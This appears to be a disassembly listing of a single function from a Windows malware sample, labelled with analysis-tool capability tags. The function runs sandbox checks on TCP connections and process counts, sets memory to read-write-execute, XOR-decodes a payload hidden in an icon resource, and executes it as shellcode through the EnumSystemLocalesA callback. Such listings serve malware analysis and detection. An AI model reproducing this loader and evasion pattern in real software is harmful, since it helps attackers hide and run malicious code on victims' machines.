Function at 0x140001460
Capabilities:
Allocate or change rwx memory
Enumerate process modules
Execute shellcode via windows callback function
Extract resource via kernel32 functions

Disassembly:
push rbx
push rbp
push r14
mov eax, 0x23a0
call fcn.140018d30
sub rsp, rax
mov rax, qword [0x140026008]
xor rax, rsp
mov qword [rsp + 0x2380], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov rcx, rax
lea r8d, [rdx + 0x18]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
mov ebp, 1
test rax, rax
je 0x140001987
mov r8d, ebp
mov dword [rsp + 0x30], 0x18
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.IPHLPAPI.DLL_GetTcpTable]
cmp eax, 0x7a
jne 0x140001500
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
je 0x140001987
mov qword [rsp + 0x23c0], rsi
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x23c8], rdi
mov r8d, ebp
mov qword [rsp + 0x23d0], r12
mov rcx, r14
mov qword [rsp + 0x2390], r15
call qword [sym.imp.IPHLPAPI.DLL_GetTcpTable]
xor r12d, r12d
test eax, eax
jne 0x140001652
mov edi, r12d
cmp dword [r14], r12d
jle 0x140001652
mov esi, r12d
lea r15, [0x1400229a0]
lea rax, [rsi + rsi*4]
mov ecx, dword [r14 + rax*4 + 8]
lea rbx, [r14 + rax*4]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov edx, 0x80
lea rcx, [rsp + 0x2280]
mov r8, rax
call fcn.140009f68
mov ecx, dword [rbx + 0x10]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov edx, 0x80
lea rcx, [rsp + 0x2300]
mov r8, rax
call fcn.140009f68
cmp dword [rbx + 4], 5
jne 0x140001644
mov rbx, r12
nop word [rax + rax]
mov rdx, qword [rbx + r15]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], r12b
jne 0x1400015c0
lea rcx, [rsp + 0x2280]
call fcn.140009fe0
test eax, eax
je 0x1400015f7
add rbx, 8
cmp rbx, 0xa8
jb 0x1400015b0
mov edi, 0x6868a9
mov dword [0x140026a30], r12d
mov esi, edi
jmp 0x140001644
mov rbx, r12
nop word [rax + rax]
mov rdx, qword [rbx + r15]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], r12b
jne 0x140001610
lea rcx, [rsp + 0x2300]
call fcn.140009fe0
test eax, eax
je 0x14000163c
add rbx, 8
cmp rbx, 0xa8
jb 0x140001600
mov eax, r12d
jmp 0x14000163e
mov eax, ebp
mov dword [0x140026a30], eax
inc edi
inc rsi
cmp edi, dword [r14]
jl 0x140001552
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r9, [rsp + 0x34]
mov r8d, 0x2000
mov rcx, rax
lea rdx, [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
je 0x14000174f
test dword [rsp + 0x34], 0xfffffff8
mov edi, r12d
jbe 0x14000174f
mov ecx, edi
lea rdx, [rsp + 0x40]
mov r8d, 0x104
mov rcx, qword [rsp + rcx*8 + 0x280]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14000173e
lea rcx, [rsp + 0x40]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rsi, rax
test rax, rax
je 0x14000172f
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x18
lea r8, [0x140027c60]
mov rcx, rax
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
test eax, eax
je 0x14000173e
mov ebx, dword [0x140027c68]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x40
mov r8d, ebx
mov rcx, rax
mov rdx, rsi
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x14000173e
mov rdx, rbx
lea rcx, str._s_Load_Error._n
call fcn.140001010
mov eax, dword [rsp + 0x34]
inc edi
shr eax, 3
cmp edi, eax
jb 0x1400016a1
xor r8d, r8d
xor edx, edx
mov ecx, 0x40000
call qword [sym.imp.KERNEL32.dll_HeapCreate]
xor edx, edx
mov r8d, 0x50000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
lea r8, str.resourceico
mov edx, 0x65
xor ecx, ecx
mov r15, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rbx
xor ecx, ecx
mov edi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
cmp dword [0x140026a30], r12d
mov r14, rax
jne 0x140001929
mov ecx, 0xc350
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
mov dword [rsp + 0x40], 0x238
nop dword [rax]
nop word [rax + rax]
mov edx, ebp
lea rcx, [0x140022938]
call fcn.140001070
lea rdx, [rsp + 0x40]
mov rcx, rbx
inc ebp
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400017e0
cmp ebp, 0x8c
jg 0x14000183e
cmp ebp, 0x7d
jge 0x140001816
call fcn.1400010d0
jmp 0x14000181d
cmp dword [rsp + 0x38], r12d
jne 0x14000183e
mov r9d, 0x10
lea r8, str.MESSAGE
lea rdx, [0x140022990]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x140001939
mov rbx, r14
mov ebp, r12d
mov rsi, rdi
test edi, edi
je 0x14000193c
mov rdi, r14
mov qword [rsp + 0x2398], r13
neg rdi
movabs r13, 0xe38e38e38e38e38f
nop word [rax + rax]
lea rcx, [rdi + rbx]
mov rax, r13
mul rcx
movsx rax, byte [rbx]
shr rdx, 3
lea rdx, [rdx + rdx*8]
sub rdx, rcx
lea rcx, str._llX
add rdx, rax
call fcn.140001070
test bpl, 1
jne 0x1400018a7
movzx eax, byte [rbx]
xor al, 0x36
dec al
mov byte [rbx], al
inc rbx
inc ebp
lea rax, [rdi + rbx]
cmp rax, rsi
jb 0x140001870
mov r13, qword [rsp + 0x2398]
mov rbx, r14
movabs rbp, 0xaaaaaaaaaaaaaaab
nop word [rax + rax]
lea r8, [rdi + rbx]
mov rax, rbp
mul r8
movsx rax, byte [rbx]
shr rdx, 2
lea rcx, [rdx + rdx*2]
lea rdx, [rax + rcx*2]
sub rdx, r8
lea rcx, str._llX
call fcn.140001070
mov eax, r12d
and eax, 0x80000001
jge 0x14000190a
dec eax
or eax, 0xfffffffe
inc eax
cmp eax, 1
jne 0x140001918
movzx eax, byte [rbx]
xor al, 0x36
dec al
mov byte [rbx], al
inc rbx
inc r12d
lea rax, [rdi + rbx]
cmp rax, rsi
jb 0x1400018d0
jmp 0x14000193c
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400010d0
mov rsi, rdi
mov r8, rsi
mov rdx, r14
mov rcx, r15
call fcn.140003990
xor edx, edx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.14000a1b8
mov r15, qword [rsp + 0x2390]
xor eax, eax
mov r12, qword [rsp + 0x23d0]
mov rdi, qword [rsp + 0x23c8]
mov rsi, qword [rsp + 0x23c0]
jmp 0x140001995
lea rcx, str.Error_allocating_memory_n
call fcn.140001070
mov eax, ebp
mov rcx, qword [rsp + 0x2380]
xor rcx, rsp
call fcn.1400019d0
add rsp, 0x23a0
pop r14
pop rbp
pop rbx
ret